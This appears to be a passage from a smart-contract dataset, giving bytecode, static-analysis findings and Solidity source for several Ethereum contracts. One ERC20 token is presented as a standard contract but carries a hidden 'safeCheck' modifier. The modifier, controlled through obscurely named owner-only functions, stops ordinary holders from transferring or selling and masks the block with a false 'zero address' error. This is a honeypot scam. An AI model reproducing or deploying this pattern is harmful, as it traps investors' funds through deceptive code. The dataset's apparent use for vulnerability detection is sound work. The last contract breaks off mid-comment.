fffffff16565b9050838184965096509650505050509450945094915050565b600061279361278e846130a5565b613080565b905080838252602082019050828560208602820111156127b257600080fd5b60005b858110156127e257816127c888826127ec565b8452602084019350602083019250506001810190506127b5565b5050509392505050565b6000813590506127fb816136e3565b92915050565b600081519050612810816136e3565b92915050565b600082601f83011261282757600080fd5b8135612837848260208601612780565b91505092915050565b60008135905061284f816136fa565b92915050565b600081519050612864816136fa565b92915050565b60008135905061287981613711565b92915050565b60008151905061288e81613711565b92915050565b6000602082840312156128a657600080fd5b60006128b4848285016127ec565b91505092915050565b6000602082840312156128cf57600080fd5b60006128dd84828501612801565b91505092915050565b600080604083850312156128f957600080fd5b6000612907858286016127ec565b9250506020612918858286016127ec565b9150509250929050565b60008060006060848603121561293757600080fd5b6000612945868287016127ec565b9350506020612956868287016127ec565b92505060406129678682870161286a565b9150509250925092565b6000806040838503121561298457600080fd5b6000612992858286016127ec565b92505060206129a38582860161286a565b9150509250929050565b6000602082840312156129bf57600080fd5b600082013567ffffffffffffffff8111156129d957600080fd5b6129e584828501612816565b91505092915050565b600060208284031215612a0057600080fd5b6000612a0e84828501612840565b91505092915050565b600060208284031215612a2957600080fd5b6000612a3784828501612855565b91505092915050565b600060208284031215612a5257600080fd5b6000612a608482850161286a565b91505092915050565b600080600060608486031215612a7e57600080fd5b6000612a8c8682870161287f565b9350506020612a9d8682870161287f565b9250506040612aae8682870161287f565b9150509250925092565b6000612ac48383612ad0565b60208301905092915050565b612ad98161323b565b82525050565b612ae88161323b565b82525050565b6000612af9826130e1565b612b038185613104565b9350612b0e836130d1565b8060005b83811015612b3f578151612b268882612ab8565b9750612b31836130f7565b925050600181019050612b12565b5085935050505092915050565b612b558161324d565b82525050565b612b6481613290565b82525050565b6000612b75826130ec565b612b7f8185613115565b9350612b8f8185602086016132a2565b612b98816133dc565b840191505092915050565b6000612bb0602383613115565b9150612bbb826133ed565b604082019050919050565b6000612bd3601a83613115565b9150612bde8261343c565b602082019050919050565b6000612bf6602a83613115565b9150612c0182613465565b604082019050919050565b6000612c19602283613115565b9150612c24826134b4565b604082019050919050565b6000612c3c601b83613115565b9150612c4782613503565b602082019050919050565b6000612c5f601d83613115565b9150612c6a8261352c565b602082019050919050565b6000612c82602183613115565b9150612c8d82613555565b604082019050919050565b6000612ca5602083613115565b9150612cb0826135a4565b602082019050919050565b6000612cc8602983613115565b9150612cd3826135cd565b604082019050919050565b6000612ceb602583613115565b9150612cf68261361c565b604082019050919050565b6000612d0e602483613115565b9150612d198261366b565b604082019050919050565b6000612d31601183613115565b9150612d3c826136ba565b602082019050919050565b612d5081613279565b82525050565b612d5f81613283565b82525050565b6000602082019050612d7a6000830184612adf565b92915050565b6000604082019050612d956000830185612adf565b612da26020830184612adf565b9392505050565b6000604082019050612dbe6000830185612adf565b612dcb6020830184612d47565b9392505050565b600060c082019050612de76000830189612adf565b612df46020830188612d47565b612e016040830187612b5b565b612e0e6060830186612b5b565b612e1b6080830185612adf565b612e2860a0830184612d47565b979650505050505050565b6000602082019050612e486000830184612b4c565b92915050565b60006020820190508181036000830152612e688184612b6a565b905092915050565b60006020820190508181036000830152612e8981612ba3565b9050919050565b60006020820190508181036000830152612ea981612bc6565b9050919050565b60006020820190508181036000830152612ec981612be9565b9050919050565b60006020820190508181036000830152612ee981612c0c565b9050919050565b60006020820190508181036000830152612f0981612c2f565b9050919050565b60006020820190508181036000830152612f2981612c52565b9050919050565b60006020820190508181036000830152612f4981612c75565b9050919050565b60006020820190508181036000830152612f6981612c98565b9050919050565b60006020820190508181036000830152612f8981612cbb565b9050919050565b60006020820190508181036000830152612fa981612cde565b9050919050565b60006020820190508181036000830152612fc981612d01565b9050919050565b60006020820190508181036000830152612fe981612d24565b9050919050565b60006020820190506130056000830184612d47565b92915050565b600060a0820190506130206000830188612d47565b61302d6020830187612b5b565b818103604083015261303f8186612aee565b905061304e6060830185612adf565b61305b6080830184612d47565b9695505050505050565b600060208201905061307a6000830184612d56565b92915050565b600061308a61309b565b905061309682826132d5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130c0576130bf6133ad565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061313182613279565b915061313c83613279565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131715761317061334f565b5b828201905092915050565b600061318782613279565b915061319283613279565b9250826131a2576131a161337e565b5b828204905092915050565b60006131b882613279565b91506131c383613279565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131fc576131fb61334f565b5b828202905092915050565b600061321282613279565b915061321d83613279565b9250828210156132305761322f61334f565b5b828203905092915050565b600061324682613259565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061329b82613279565b9050919050565b60005b838110156132c05780820151818401526020810190506132a5565b838111156132cf576000848401525b50505050565b6132de826133dc565b810181811067ffffffffffffffff821117156132fd576132fc6133ad565b5b80604052505050565b600061331182613279565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133445761334361334f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136ec8161323b565b81146136f757600080fd5b50565b6137038161324d565b811461370e57600080fd5b50565b61371a81613279565b811461372557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220940e444083743dd2e1c58b448c45eacfefc4365227c00b4810e41701a2c936d964736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,512 |
0xd3085f6e89f603503eabe33499ed140466c74f92
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_GDT(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611740576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156117c6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611be56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561184c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611b526023913960400191505060405180910390fd5b611857868686611b4c565b6118c284604051806060016040528060268152602001611b97602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611955846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611ab1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a76578082015181840152602081019050611a5b565b50505050905090810190601f168015611aa35780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611b42576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220a15e1fa3aaff9dff46ea3a08fc4ad3071ddb6497dc5a63b40a7b1cdf73a09eb764736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 6,513 |
0x6d934b673cb8f33427343c8d235310063e9577ee
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: @openzeppelin/contracts/GSN/Context.sol
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
